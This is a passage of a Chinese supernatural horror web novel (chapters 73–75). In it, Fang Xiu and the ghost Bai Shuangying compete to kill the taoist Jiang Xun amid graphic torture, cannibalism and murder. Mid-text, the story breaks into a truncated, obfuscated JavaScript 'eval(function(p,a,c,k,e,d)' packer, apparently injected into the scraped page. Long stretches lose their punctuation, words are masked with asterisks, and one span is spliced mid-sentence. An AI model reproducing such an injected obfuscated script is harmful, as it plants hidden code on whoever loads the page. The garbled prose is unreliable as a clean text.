鸡笼里塞满了鸡,有的鸡长得太高大,必须弯下腰才能蹲在鸡笼里。它们不得不缩起多余的肢体,给其他鸡腾出地方。 柿子树上蹲着一排排猫头鹰。它们拧着脖子朝他招手,让他靠近些。吕扬有点不理解,明明这种东西长着人头,为什么要叫它们“猫头鹰? 可能动物学家取名就是这么不讲理吧。 “真不吉利。 阿桥拿了根竹竿,使劲敲打树枝。猫头鹰发出哭嚎般的笑声,紧抓树枝不撒手。 “别打了别打了,那是国二保护动物。吕扬赶忙阻拦,“院子里蚊子太多,收拾完院子早回去睡,明天还得砍柴火。 阿桥收了竹竿:“妈的,秋蚊子就是凶。 他说着拍开一只蚊子,它刚从阿桥身上撕下一块肉。血味飘散,无数蚊子蠢蠢欲动地凑近。 阿桥掏出驱蚊黄符,它们又哄地散去,烦人至极。 被蚊子咬了,得赶紧回屋抹药。 吕扬和厢房那边的尸体打了个招呼,带着阿桥就往正房走。正房门口立着一具尸体等他,见他走过来,它肿胀的脸上露出一个微笑。 他的脚边有什么在转……对了,是小狗。 这里每家每户都养了看门小风狗。他们得时刻注意善待小狗,让它们保持健康,不然它们会变成疯狗。 吕扬摸了两把小狗,扭头瞧姜寻:“老姜,你再看看窗户。今儿晚上的人脸不知道哪去了,窗口都没堵好,屋里搞不好要漏风。 姜寻站在原地,眯着眼看他们,表情有些古怪。 他这么一瞧,吕扬也觉得哪里不太对。他好像忘了什么很重要的事情,可是他怎么都想 不起来。 忘了喂鸡?忘了照顾尸体?还是炉子没熄火? 算了,今晚他们喝得太醉,明天醒酒再说。卢苇都喝得站不起来了,现在还倒在姜寻脚边呢。 吕扬和阿桥把姜寻抛在身后,自顾自推门进屋。 正房里一片灯火通明,墙角点着一排排蜡烛。桌子中央放了一罐饮料,另一罐在地上滚来滚去,尽情撒欢。 突然,东卧室传来姜寻的声音—— “这都是幻觉!他厉声呵斥,“快醒醒,你们进了院子! 什么乱七八糟的。 吕扬迷迷糊糊地想,他们不是刚从院子回屋吗? …… 白双影有些不满地瞥方休:“你在妨碍我。 发现“区别对待没把吕扬吓跑,白双影转而无差别使用幻象,顺便给这群人喂了个因果污染。 姜寻意识到了些许蹊跷,原地不动。吕扬和阿桥则被他轻松控制,成功离开正房、进入院子——当然在幻象空间里,他们反而以为自己在回屋休息。 接下来,他只需要把院门幻化成卧室门,那两个新人就会被他引出院子。 结果方休居然跟他对着干——方休当即制造姜寻的幻象,试图叫醒两人。 这个人类偏偏满脸无辜:“怎么能叫妨碍呢,这是认真竞争。 白双影:“他们视你我为敌人,何必相助? “反正这里又没有第三方干扰,又不赶时间。方休一副无所谓的模样,“我们是在比赛呀,我也想赢。 确实没有第三方干扰,白双影心想。 有这么多人一起陪着,小**玩疯了,它屋里屋外蹿个不停,院子里的邪祟大气都不敢出。 白双影恍然间觉得,这个小院被方休当成了棋盘。他的人类正以人为棋子,兴高采烈地与自己对局。 那么他这边的下一步棋是…… 桃骨煞轻轻一震,更多因果缠绕错位。稍微多干涉一点,地府应当发现不了。 幻象之中,吕扬打了个寒颤。他看向疯狂叫喊的“姜寻 算了,他又不是人类,没必要听懂。 吕扬晃着身体,迷迷糊糊往卧室门的方向前进。他是个枕头,枕头就该老老实实待在床上,而不是在客厅里遛弯。 作为另一个枕头,阿桥显然和他想法一致。他们枕巾并枕巾走向卧室门,无视身后的人类呼喊。 眼看着两个新人手拉手走向“卧室门,不,院门,白双影垂下手。他做到这个份上,方休应当没法应对了。 他马上要赢,只剩十步……八步……五步…… 吱呀。 姜寻一只手拖着半昏迷的卢苇,竟然主动推开门扉, 走入院子。 他脸上的高人风范消失一空取而代之的是鄙夷与冷淡。他随手丢掉手上的黄符从怀中抽出一支毛笔接着他整理领口扯出一个青玉挂坠。 “都是些扶不上墙的烂泥算了。”他长叹一声。 夜色之中青玉挂坠闪烁出阴森森的青色。姜寻甩动毛笔笔尖渗出饱满的暗红。他摒弃黄纸直接在空中画起符咒。 笔走龙蛇暗红符咒依次亮起。它们挨个化为鬼火般的青绿与那青玉挂坠几乎一个颜色。 紧接着符咒自行成环行星带似的绕着姜寻旋转。以姜寻为圆心方圆一步之内白双影的幻象竟被压制露出真实世界的本相。 “归去来兮归去来兮——” “**皆大欢喜——” 姜寻低声吟诵符咒绕着他越转越快。其中三道符文弹射而出正中新人们的后心。 吕扬与阿桥呆滞的目光出现波动他们停住离开院子的脚步抱头停在原地明显陷入混乱。 白双影的表情彻底变成空白。 就算他绝大部分实力被封印因果污染也不是吃素的。别说半吊子的黑.道士一般邪祟都压不住他的污染除非地府鬼仙亲临。 姜寻的术法能克制他的幻象只有一种可能——此人修**的术法根源上就是为了克他而设计的。 ……如此术法倒是让他想起了不少往事。 ……罢了无论方休有什么打算他不会让此人活着离开祭祀。 喀嚓。 听到异响白双影下意识扭头。 只见方休攥紧拳头他用的力道太大捏得关节喀喀作响。就像见到山混子他那双黑眸毫无光彩。 “你早就知道?” “之前姜寻的手段 方休嘴角仍然翘着声音里却没有笑意只有十足的杀气。“……巧了不是我可没想到会逼出这个。” 白双影定定看着方休。 原来如此方休真正想要的不是“作祟比赛”。 无论是作祟比赛提议还是方休莫名其妙的中途“妨碍”。这个人类在诱导自己一步步加强幻象逐渐把姜寻逼向极限。 由自己这个邪祟发力姜寻只当大煞临门不会刻意保留底牌。 不远处姜寻那令人憎恶的术法还在生效白双影却逐渐平静下来。 他突然发现此时此刻他们真正敌视着同一个目标渴望同一场杀戮。这种感觉怪异又新奇。 所以就算方休不想要所谓的比赛他也要让比赛继续。 …… 吕扬头痛欲裂。 他一会儿觉得自己是 住在这院子里的农户,一会儿相信自己是一个鼓鼓胀胀的荞麦枕头。还有那么一会儿,他认为自己是一个诡异祭祀的祭品。 农户似乎是最符合常理的,吕扬昏头昏脑地想道。可他又记得,自己家好像不是农户…… 就像他记得,他理应在室内。可是眼睛一闭一睁,总有院落的场景在面前闪过。他被邪祟和尸体吓得冷汗淋漓,下一秒又坚信这是家里养的牲畜。 无数概念混淆变幻,他如同被人拈在指尖的泥人,脑髓被任意揉圆搓扁。那感觉像极了溺水,在虚幻与现实中浮浮沉沉,时不时还要呛几口水。 吕扬实在受不了折磨,昏沉沉干呕不止。 他眼中的世界带着重影,只有远处的院子大门无比清晰。 不行了,他要逃跑。不管往哪里逃,总之要离开这里……这地方不对劲,很不对劲。 吕扬下意识盯住院子大门,蹒跚前进。 他要跑到一个足够平静的地方,慢慢思考…… 下一秒他右脚的运动鞋凭空消失。吕扬脚底一歪,险些摔倒在地。 同一瞬,他的耳边响起阿桥崩溃的哭嚎:“我要回家,这他妈什么鬼地方,别玩我了—— 闪烁的视野中,他的右脚上也没了鞋子。 “不能离开这里,否则会丢掉鞋子……很有意思的禁忌,不是人类的思路。 无边混乱中,一个模模糊糊的声音接近他,语气里带着淡淡的嘲讽,“不错,看来这里的‘厄’是狗的物件。 是姜寻,这是姜寻的声音。 吕扬恍惚地想。禁忌,对的,姜寻给他们讲解过禁忌。 姜寻说过,不能走入风中,不能破坏院子,这两条都是禁忌。 姜寻说过,他知道怎么区分“作祟和“犯忌。作祟总要慢半拍,结果不定;犯忌却会即刻发生,现象统一。他当时教得认真仔细,不比成松云差。 姜寻还说过,他会照顾他们这些新人,直到最后。 “照顾你们太麻烦了。 青绿微光下,姜寻淡淡地说道,“三条禁忌确认完毕,各位生死自便吧。 姜寻挥 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姜寻无视了崩溃的阿桥卢苇任由他们朝院门跑去。 大煞再凶险为的也不过是阴气与生魂。它肯定会去捕食那两个新人正好省了他的事。 虽然今晚被动他好歹趁乱测出了三条禁忌。第二天搞定全部禁忌还不赖。 这里的主人是条狗“厄”又是狗的东西。他就知道地府专门派他来解厄这里的情况必定不好处理—— “厄”与这里的主人因果相连并且就在这里的主人身上。 他接下来的任务是杀死那条狗。 姜寻维持着驱散幻象的术法小心辨认着脚边的真实世界顺利走向正房。 身边没有新人 想着想着他伸手推向正房的房门突然一只人形邪祟爬到他面前龇牙咧嘴地朝前扑。 “不知死活。”姜寻冷笑术法瞬间劈了上去。 人形邪祟张开嘴巴喷出一串木板碎裂的脆响。 等等木板碎裂? 他刚才劈的难道是……不不可能他分明用了解除幻象的法术! 姜寻瞳孔紧缩他还没来得及骂出声就看见了面前的院落大门。 不能破坏院子否则驱逐。 该死他真的犯了忌! …… 方休有点吃惊地望向白双影。 两个新人眼看要逃出院子白双影赢定了。 情况和方休预料的差不多一旦姜寻认为照顾新人弊大于利他会优先测试禁忌直接放弃新人。 这样一来自己探到了姜寻的实力白双影赢了作祟比赛皆大欢喜。接下来他只需要寸步不离地保护小狗专心对付姜寻。 结果方休还没来得及进行下一步白双影便按住他的手强行更改了异象技能。 桃骨煞轻轻压上他的手背正如步行街上空绽放的烟花一个精美的幻象在姜寻面前出现—— 一只并不存在的邪祟拦在了姜寻面前。 姜寻的术法能够压制白双影的幻术却应对 不了地府指定的异象技能。姜寻哪想到幻象里面还混了其他幻象,他一道术法过去,直接劈坏了正房的房门。 小狗愤怒的叫声中,姜寻被禁忌踢到了大门之外。正正好好,比逃出去的阿桥和卢苇早那么几秒。 三人在院门口顺利相会,撞成一堆。 “姜寻先一步踏出院子,你赢了。” 白双影轻声说道,他慢慢转过脸,回应了方休的注视。 方休:“……” 白双影安安静静地瞧着他:“我不需要你白送我的胜利。” 方休连忙:“抱歉,我没有敷衍你的意思,我只是——” “所以比赛继续。” 白双影打断道,“接下来比赛谁先杀了姜寻。我引导那两个新人,你指挥你的同伴。” 他想尽量低调地弄死姜寻,方休也想杀姜寻。他们正好以此延长比赛,这很有趣,也很公平。 方休目不转睛地望着白双影,黑眸多了一点儿惊喜的光彩。 白双影只当他没反应过来,他整整袖子,煞有介事道:“是,我知道你的同伴在院子外面。” “你故意放出幻象,让你的同伴亲眼看你离开院子。你知道你久久不归,他们会去找你。你借我的力量逼出姜寻的实力,又用林中邪祟测试同伴……我能理解你的想法。” 方休站在原处,目光一遍遍扫过自家鬼。他眼里那股锋利的杀意淡了下去,从哈气不止的饥饿豹子,变成了发现过冬橡果的松鼠。 小**溜到方休的脚边,尾巴一无所知地摇晃。 “也对,我看着你,你也一直在看着我。” 几秒后,方休抹抹脸,短暂地晃了下神。“我怎么就绕不开你这个深渊呢。” 白双影:“?” “意思是,我愿意继续比赛。”方休微笑起来,“以及,为了不一头栽在你身上,我得非常非常小心。” 第 74 章 鹿死谁手 第74章鹿死谁手 【处刑时间。】 姜寻迅速甩脱撞上来的新人。他还没在地上站稳,就搞清了方才的一切。 简而言之他被方休一伙给玩了。 如果真的是大煞临门邪祟没必要**禁忌,专门把他驱逐出院子。他这么一犯忌,彻底断了亲手解厄的路院子成了方休的地盘。 姜寻无声念了几句“归去来兮”,并未因此恐慌。 方休有这种水准解厄不是难事。 只是损失掉一个技能奖励姜寻能够接受。只要他撑到方休解厄,他还是能安然回归解厄塔。 从这一刻起他的目标不再是“消灭这里的主人”,而是生存。 姜寻扫了眼魍魉横行的树林,毛笔法器一挥,身周符咒再次亮起。他几个轻巧跳跃身影消失在黑暗之中。 方休:“比赛开始?” “比赛开始。” 白双影点点头桃骨煞在月色下泛出一层柔白。阿桥和卢苇摇摇晃晃站起,眼中泛着饿鬼般的浊光。 “那个疯女人跑了……她不能跑……我们得弄点肉吃……” “死一个正好省水……救援队怎么**还不来……都是废物……” 两人僵尸一样踉跄前行,嘴里断断续续咕哝着。隐藏影响下,他们的身影缓缓消失,像是融化在夜色之中。 这两个人捕食过同类,倒是很好操纵。只是他这么一分神,方休的安全…… “你随便玩就好。”方休笑道“有小狗跟着我,没关系的。” 小**叼着易拉罐,摇头晃脑地蹭方休裤脚。 白双影点点头身影跟着消失。 方休做了个深呼吸白双影不在身边,他有种从温水里猛然露头的虚无感。 挺好有助于他控制情绪。 “好狗狗帮我找找同伴好不好?”方休掏出一根烧鸡腿在小狗面前晃。 这只小狗看着傻乎乎的但它身为这里的“主人”智商绝对比正常同类要高。 小狗快乐地咬住鸡腿三下五除二吞下。随后它原地转了两圈“嗷嗷”低叫示意方休跟上。 之前方休和白双影夜间散步靠的是隐藏行迹。如今他在暗夜行走 小**也挺细心它往前小跑几步就要扭过头来唰唰摇尾巴等方休跟上再走。 没过五分钟方休就找到了他外出的同伴们。 他们正往院子的方向走。成松云和梅岚一同架着血肉模糊的黄毛关鹤警惕地望着风。 一有风吹草动,他就招呼成松云打开怨鬼盾,罩住梅岚。黄毛骂骂咧咧伥鬼化,和关鹤一起在盾外防守。如此几步一停,他们往回走得很慢。 看到方休,关鹤眼睛都亮了:“方哥——!” 小**眼睛跟着一亮,它跑去众人脚边快乐撒欢,带起一阵阵微风。很快,它发现只有方休能察觉它的存在,小狗回到方休脚边,耳朵尖微微耷拉下来。 方休右脚蹭蹭小狗,目光走了圈。 黄毛身上伤最重,八成是卢苇换魂时期搞的。梅岚和成松云衣着狼狈,好在身上没什么伤。关鹤身上多了不少深深浅浅的伤疤,表情却十分明亮。 好消息,看来就算他不在,这群人也有自己的判断能力和战斗体系。接下来的祭祀里,他可以采用更大胆的策略。 坏消息,他的同伴们配合太好了,这样探不出梅岚的能力。算了,这次不成还有下次。 方休悄悄在心里遗憾了会儿,照常打招呼:“你们都出来了啊。” “刚才听见小杜惨叫,都怕你跟着出事。”成松云实诚地表示。 关鹤则指指黄毛,十分严肃地报告:“方哥,他说他犯了忌,回不了院子。” 方休假装不知情:“犯忌?” 黄毛趁机大骂:“对对对,不能破坏院子!一帮没屁.眼的玩意,换了老子的魂,用我身体犯忌……老子好不容易换回来,腿都给鬼咬烂了!” 骂完,他满怀希望地转向方休:“方哥,你在外头晃了这么久,指定看出点啥了吧?咱们能不能早点解厄回去啊,大家天天晚上守着我,也不是个事儿——” 方休没有直接回答:“不说这个,我得去杀姜寻。” 他说得平淡而理所当然,就像睡前说“我要去刷牙”。 黄毛大喜过望:“对,该杀!让那群**尝尝厉害!” 其余人:“……?” 方休十分现实,从不把队伍对抗放在解厄前头,更别说单纯为队友挣面子。哪怕是在欢喜鑫天地那种场合,方休也愿意吃亏换取解厄机会。 怎么到了这里,他突然转了性子? “我先把你们送回院子。关鹤成松云,你们随便谁把五帝钱借给杜志超,法器隐藏加伥鬼防御,够用。”方休跳过解释,直接安排。 “要是情况不对,你们尽快回房,邪祟不敢在房间里动手。” 梅岚嗯了声,成松云和关鹤则交换了一个担忧的眼神。 方休放任队友心中的惊涛骇浪。他回院子的步伐很稳,甚至有些轻快。 这回仇恨没能完全浸泡他的心脏,他心底总有个小小的声音在嘀咕:“快点快点,再不快些,白双影要赢啦。” 隐约地期待中 方休送完同伴转身就走。小狗惊喜地发现散步还没结束吐着舌头跟上。 白双影让他带同伴对付姜寻小**也算同伴。其他人看起来筋疲力尽没有强迫他们同行的必要。 眼看方休远去关鹤和成松云停在院门谁也没有回屋休息。 “方哥这么着急出手那个姜寻绝对很危险。”关鹤说“刚才他没有立刻找到杜志超肯定是发现了更重要的线索。” 成松云的关注点稍稍不同:“他一个人太冒险了。” 梅岚看了会儿方休的背影小声:“要不我来照顾杜志超 “小梅你自己顶得住吗?”少见梅岚这么主动成松云有些惊讶。 梅岚点点头:“我可以躲进甘露水这场祭祀不缺邪祟水鬼祭品很够的。” 关鹤踌躇片刻把自己的五帝钱塞给梅岚:“我把我的借你你们两个都拿着。” 成松云刚把五帝钱借给黄毛。这样一来梅岚和黄毛都有五帝钱防身安全不成问题。 “谢谢你们注意安全。” 梅岚轻声细语目送成松云和关鹤离开直到那两道身影被黑夜吞噬。 “哎我发现你还挺温柔晓得照顾我。我这腿疼得要死姐你给我揉揉?”院门口只剩两人黄毛张嘴就是搭讪。 “滚。”梅岚冷淡地说道。活像方才出声的不是黄毛而是一只蟑螂。 发现梅岚的气势出现了微妙的变化黄毛略微一怔:“哟呵?” 梅岚站直身体一只手搭在胸口俯视瘫坐在院门口的黄毛。阴影浸没了她的脸昏暗月光中只有那双黑白分明的眼睛格外扎眼。 她的目光毫无情绪就像观察一件死物。 一股寒意顺着脊椎爬上黄毛下意识闭了嘴缩缩身体:“梅姐抱歉啊我开玩笑的。主要是吧我没想到你愿意帮我……” “你随时可以过来我的兄弟。”梅岚轻声说“你我**皆大欢喜。” “什、什么?” 梅岚维持着原本的姿势一双眼仍然盯着黄毛整个人仿佛变成了蜡像。 “啊我不是在跟你说话。”她的语气平静无波双眼却微微弯起。 …… 姜寻手里捏着青玉吊坠将目光从半空抽回。 现在还不到放弃的时候他想。 这里的邪祟构成他大概弄清楚了。 院子和房间——尤其是房间——是主人标记的地盘只有弱小邪祟才会进去捣乱妄图钓出来几个祭品吃。 离院子越远强大的邪祟越多。 强大邪祟如同猛兽对彼此的气息很敏感。它们不敢离院子太近生怕和主 人产生直接冲突。 最终它们徘徊在死忌边缘,等着吃盲目逃脱的祭品,以及被不断吸引过来的弱小邪祟。 一个诡异却稳定的邪祟“生态圈”。 姜寻决定紧贴院墙躲藏,远离那些伺机而动的强大邪祟。等到了白天,他便能用枯枝和石块搭个**阵,建立一个野外据点。 如此白昼休息、夜晚防守,理论上行得通。 选择据点之前,他需要调查一下稍远处的邪祟分布,选择最完美的据点位置。 暗夜之中,不时有异形之物掠过黑暗,树木枝叶之间传出黏腻的低语。姜寻捡了根树枝当拐杖,在林中自信满满地穿行。 他的树枝拐杖顶上穿了四五张符咒,若是有邪祟接近,它们会立刻燃烧示警。 而且,姜寻时刻遵循师门步法,脚掌轻轻踏过落叶,一步一步荡起罡气。更妙的是,他身上缠绕着双重术法,一重隐匿踪迹,一重驱邪避祸,普通邪祟很难近身。 只要远离此地边界,他就不会有危…… “嘶!”姜寻眉眼一拧。 毫无征兆的,他的手背一阵剧痛。一大块皮肉凭空消失,温热的血液瞬间涌出。 月光照耀下,拐杖顶上的纸符岿然不动,没有半点燃烧的意思。 禁忌?不对,三个禁忌都找完了。可这分明不是邪祟作祟……难道这里真的有三条以上的禁忌? 姜寻**两步,警惕地横起树枝拐杖,右手毛笔随时待命。可是他的面前只有静谧夜景,秋虫在落叶间哀哀低鸣。 喀吱,喀吱。 有什么撕裂了他的裤脚,弄伤了他的小腿。与此同时,他肩膀也一阵剧痛,衣服布料被大力扯动。 这种感觉…… 他余光看向手背的伤口,伤口边缘有着让人毛骨悚然的熟悉轮廓。 是牙印,人类的牙印。 姜寻再次看向拐杖,符咒仍然没有燃烧。这只有一种可能性——咬他的不是邪祟,而是活人。 姜寻啐了一口,飞快舞动毛笔。祛除幻象的术法再次旋转,然而它所照亮的真实之中,杖顶符咒完好无损。 ……不是幻觉。 ……但这不可能,怎么会有活人选择这样怪异的攻击方式?! “我是地府指定的消灾人!” 他仰起头,厉声呵斥,“如今我已犯忌,无法解厄。你我不如各退一步,否则地府必定记下这一笔!” 白双影面无表情地注视着姜寻,没有任何反应。 横竖动手的不是他,地府记不到他的头上。 隐藏之中,阿桥和卢苇眼放绿光,目光呆滞地看向虚空。 他们匆忙咀嚼着新鲜血肉,鲜血和口水顺着嘴角流下:“救援队怎么还不来, 还不来—— “这不怪我—— 那些驱逐邪祟的法术打在他们身上,就像雪花落入湖水,荡不起一丝涟漪。 姜寻背靠一棵大树,心跳如擂。 稍作思索,他干脆扔下拐杖,上衣一扒,开始往自己身上画符。龙飞凤舞的符咒印上皮肤,那些骇人的伤口不再哗啦啦流血。打眼一瞧,姜寻活像一尊千疮百孔的蜡像。 姜寻过了足足六场祭祀,他早就学会了砍掉多余的念头。管他对面什么情况,既然是活人来袭,他就应对活人。 人非猛兽,嘴巴威力有限。少了失血的风险,他很难被即刻杀死。 姜寻提笔凭空,画出两个怪模怪样的“大字。伴随着一阵光华,泥土与枯叶蠕动着攀上墨迹,凭空造出两个瘦骨伶仃的人形异象。 它们伸出过分细长的手臂,环成一圈,将姜寻绕在圈中。随后它们摇摆身躯,绕着他扭动转圈,像是在进行某种古怪的仪式。 阿桥与卢苇哪管这些,他们野兽般冲上前,正撞上那护卫异象。 一阵噼里啪啦的脆响过后,这两人都像是没了骨头,身体水袋般变形。 他们的大脑在头皮里晃来晃去,眼球被挤得脱出眼眶,牙齿在嘴里散作一堆。没了肋骨和脊椎支撑,两人躯干径直塌陷下去,喉咙里被挤出一阵怪响。 “嘻嘻,嘻嘻。两坨肉在地上嘿嘿直笑,妄图随着那异象舞动。 他们仍然活着……暂时活着。 白双影只是垂眸看了眼,随口道:“你们是水蛭。 “一双自认为人的发疯水蛭。 “水蛭无需骨骼。 伴随着言语,两坨肉骤然伸展扭曲。 肉与脂肪一阵蠕动,皮肤皮套一般滑动拉扯。他们的头颅和脖子几乎变得一般粗细,脸孔彻底变形,嘴巴上移到了原本头顶的位置。 他们贴着地蠕动身体,循着伤口的血味前行,朝姜寻的腿脚弹动。 姜寻喘息了不到半分钟,腿部出现了全新的咬痕。这次咬痕变得更为奇怪——明明是人的齿痕,形状却说不上的怪异。 看不见的袭击者不再撕咬他的肉,而是疯狂抽吸他的血液,姜寻眼前一阵发黑。 方休赶到时,看到的便是这幅图景。 方休低头看向活人水蛭:“……诶。 他的鬼折磨手段真的很别致,以及真的……很不把人当人。 姜寻死得惨一点无所谓,这两位虽然算不得什么正派人士,着实罪不至此。幸亏只有自己能看破隐藏,要是成松云和关鹤也瞧见这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜寻在归山教内职责特殊负责劝人**以及策划集体**。他手上直接或间接的血债足足有五百人以上。 方休年纪轻轻拿什么跟他比? ……大不了等方休**他来指挥方休的部下照样有机会弄死这里的主人。 电光石火间姜寻完成了权衡。 他双手捂住胃部的位置口中咏念出怪异的调子身周黑光盘旋。 四只没有眼皮的眼球从他身后浮现它们个个有人头大小赤红的眸子转动不止。 异象技能的气息白双影目光一凝。 姜寻招来大煞降临正在衡量降临条件。该死也不知道姜寻吃了什么丹药照那个失血量他理应昏迷才对! 这下好了。他亲自出手强杀姜寻地府绝对会调查。他亲自出手打散大煞地府更会调查。他…… 他嗖地移到方休面前,桃骨煞阴气汹涌。 好麻烦,不想了,干了再说。 白双影从来不擅长勾心斗角,他只认自己的心情。而他现在的情绪很简单,方休不能死。 ……他准备了那么好的窝呢。 结果就在白上仙屏气凝神,准备一展雄威的时候。那四颗眼珠瞄了一圈,自个儿消失了。 姜寻:“……???” 姜寻捂住胃部,表情彻底扭曲:“你到底是什么人?!你的血债怎么可能比我多!” 方休疑惑地扒上白双影的肩膀:“他什么意思?” 白双影:“……”他懒得分心解释法术。 白双影简单粗暴:“他在说他很好吃。” 成松云警惕地备着怨鬼,顺便轻拍关鹤:“那人净瞎讲,别信。” 关鹤一脸正气:“那肯定!方哥,还要我做什么吗?” “接下来的画面不适合未成年,成姐你看着点他。”方休从口袋里掏出一罐饮料,“小关,你闭上眼睛,捂住耳朵。” 关鹤:“……” 姜寻气喘吁吁地看着方休,冷淡傲然的脸上爬上恐惧。 这个人到底怎么回事?他哪来的那么多血债?现代社会了,大毒枭都弄不死那么多人!难道……难道…… “你也是归山教的人?”姜寻嘶声道,“你……您是什么层级?要是我之前冒犯了您,我——” 咚! 易拉罐猛地掷出,狠狠砸中姜寻的脑袋,疼得他晃了一晃。 “我这辈子还没见过这么恶心的误会。” 方休笑着说,眼睛毫无笑意,“要逃跑吗?人生最后跑一跑吧,磨磨蹭蹭多没劲。” 姜寻瞥向远处密密麻麻的邪祟,勉强扯扯嘴角:“看来你不受我神庇佑。” 眼下他大量失血,法器拿不回来,胃也没有了。他至今看不穿对方的术法和来历,其他法器也很难有太大用途。 这一手有点冒险,但是这是他仅剩的手段—— 趁方休转头说话,姜寻蜷缩身体,发动了最后的异象技能。 几百米外,院门口。 听到轰然**声,梅岚短暂地抬了抬头,又心不在焉地垂下视线。 她的脚下,黄毛突然歪倒身体,口中吐出大量涎水。他白眼狂翻,单个眼球居然又冒出一个瞳孔。 眼珠翻动间,他的双眼全成了重瞳。 “咳……咳……”黄毛抓挠着喉咙,他的喉咙里似乎有另一个人在讲话,“你我**,皆大欢喜……保护我,姐妹……” “**是你弄出来的。”梅岚脸上战战兢兢的表情无影无踪,她的语气十分平静,“你自毁肉身,想炸死他们?” “给你添了麻烦……方休太难缠,我还不能死……” 黄毛带着惊恐的表情,控制不住地张合口部,“我在此人身上留了换魂咒,先在这肉身里挤一挤……” 梅岚:“我看到了。原来祭祀结束时生魂无虞,也算幸存。” “我知道厄的情况,你我合力,很快就能结束祭祀。” 黄毛身体抖得愈发厉害,喉咙里另一个声音越来越流畅,似乎缓过了气。 梅岚扶着他站起身,状似无意地问:“那件事如何了?” “再过一段时间,你我便可以欣赏末日。” 梅岚抬起手,轻轻抽下颈间丝巾:“这样啊。” 下一秒,丝巾蛇一样勒上黄毛的脖颈。黄毛瞪大变形的瞳孔,嘴里同时叫出两道声音—— “梅姐住手——!” “你做什么?!……咳,你杀我,另一个生魂也会……” “他**一个,没什么用处。” 梅岚冷冷地说道,她比了个手势,丝巾绞得更紧。 “你我也是**,你该清楚才是。” 第 75 章 告一段落 第75章告一段落 【一段回忆。】 黄毛绝望地摆动手臂,他果断召唤出伥鬼,撕扯脖子上的丝巾。那丝巾不知道是什么材质,伥鬼锐利的爪子划过布料,没有留下半点痕迹。 它牢固地勒住黄毛的喉管,绞索般收紧。黄毛抬起充血的眼,恳求地望向梅岚。 解开丝巾后,梅岚脖颈处露出一截红绳。她顺手扯扯绳子,勾出一个形状怪异的青玉吊坠。 月光照耀下,那吊坠闪烁着奇异的流光。兴许是被勒得头晕,黄毛在上面感受到了视线。梅岚在看着他,它也在看着他。 ……看着他死去。 缺氧的痛苦愈发强烈,黄毛思绪混乱,记忆不受控地翻腾。 黄毛知道自己脑子不好,所以他始终遵循两个人生经验——钻个好漏洞,认个好大哥。 他意外**,因为年纪小而没被追究。 发现这一点后,黄毛如获至宝。他立刻和“社会人”混在一起,但凡出现成年人不便做的活计,他拿钱帮忙做。 等过了年纪,黄毛又认了城里的大哥。他在大哥手下做事,专挑有钱人偷……只要他把握好度,有钱人被偷后不会太计较。 祭祀之中,他明明也遵循了人生经验,怎么会这样…… 黄毛徒劳挣扎,眼中的青玉吊坠逐渐分出重影,有种莫名奇妙的熟悉感。 对了……他见过这东西…… 他跟着大哥时,见过一个被称为“岑先生”的年轻男人,那人也戴着青玉吊坠! 岑先生是癸省数得上号的人物。他大哥追随岑先生,他四舍五入也算岑先生的部下。 看吊坠,梅岚和岑先生是一伙人……岑先生很厉害……说不定…… “岑先生……岑先生……” 黄毛绞尽为数不多的脑汁,他翻动肿胀的舌头,竭力挤出声音。 听到这个名字,梅岚真的有所反应。 她眯起双眼,嘴角扭出一个很不“梅岚”的冷笑。丝巾骤然加大力道,黄毛身体抽搐两下,缓缓倒在地上。 一双重瞳爬满血丝,死不瞑目。 梅岚低声念诵几声。黄毛与姜寻的生魂飞出尸首,化作闪烁微光的碎片,又飞快融进青玉吊坠。梅岚将吊坠收回领子,原样系好丝巾。 【好了,来吃吧。】她抬起头,冲不远处徘徊的邪祟们招呼。 话语出口,不似人言。 下一秒,内脏和碎肉在她面前飞舞迸溅。梅岚始终浅浅地笑着,她特地没有躲,给自己身上添了不少血迹和伤口。 十几米外,林间阴影中。 方休被白双影夹在胳膊底下,无言地看着院外邪 祟吞食黄毛尸体。小**停在白双影脚边,一跳一跳地够方休的手。 白双影看得兴起:“你急着回来,是要看这个? 不久前,姜寻发动自爆术法,白双影瞬间便察觉了端倪。他的桃骨煞破风一挑,巨大的阴气掀飞了姜寻的身体。 爆风仍然波及了他们,却远远没到致命的程度。 方休反应快得吓人。 白双影那边刚出手,他便直接回头,喊成松云开盾。接着他停都没停,大力揪住白双影:“快,我们回院子! 然而他们刚靠近,就撞见了梅岚**那一幕。包括她拿出青玉吊坠,公然**美味生魂的行为。 眼见黄毛最后一块血肉被邪祟吞下肚,方休终于开口:“……我原本只是想,姜寻会换魂术,没准趁机假死换魂。 “万一梅岚不是黑.道士,她单独对上姜寻,肯定会被**灭口。 白双影公正地评价:“那确实是**灭口。只是被灭口的是姜寻。 “一尸两命啊,可惜了生魂。 方休垂下脑袋,小声嘟囔,“看来‘杀死姜寻’的比赛,咱俩要平局了。 白双影专注地瞧着方休,等待这个人类下一步行动。 可方休没有跳出来与梅岚对质,他等她伪装完毕,轻轻握住白双影的手腕,拉着他往回走。 黑夜之中,白双影的眸子始终盛着那个身影。 方休先找到了阿桥和卢苇。两**身濒临崩溃,奄奄一息。方休一棍子一个,给了两人一个痛快。 随即,方休在姜寻自爆的地方兜了几圈,小狗帮他扒出了血肉中的青玉挂坠。方休举起那血迹斑斑的挂坠,朝着月亮看了好一会儿,才放入口袋最深处。 最后,他去招呼藏在怨鬼盾里的成松云和关鹤,三个人慢慢悠悠回院子。 一切按部就班、井井有条。一套琐事下来,东方渐明。 面对梅岚的抽泣和“黄毛意外受袭的谎话,方休开始了熟练的表演—— 他轻声细语地安慰梅岚,像是怕她留下什么心理阴影。他说是他没有评估好附近的危险,这些事情不会再发生第二次。 他对成松云与关鹤露出深重的自责与遗憾。他说这次自己太过莽撞,他应该好好准备再对付姜寻。 唯一知情的黄毛已死,其余人对于正房发生的事情毫不了解。当着白双影的面,方休绘声绘色地讲述了一个“姜寻诱骗新人试禁忌,新人逃出院子向他求救的故事。 他先前主动隐瞒的禁忌与线索,全洗成了“今晚阿桥和卢苇对他坦白,可以正大光明拿出来讲述。 ……不要离开这里,否则右鞋消失。 ……不要破坏院子,否则 驱逐出门。 ……不要走入风中,否则即刻死亡。 这些三条禁忌相对无害,并且很容易遵守。现在除了他们四个,对面只剩一个新人,大家没必要紧张。 接下来,慢慢来就好。 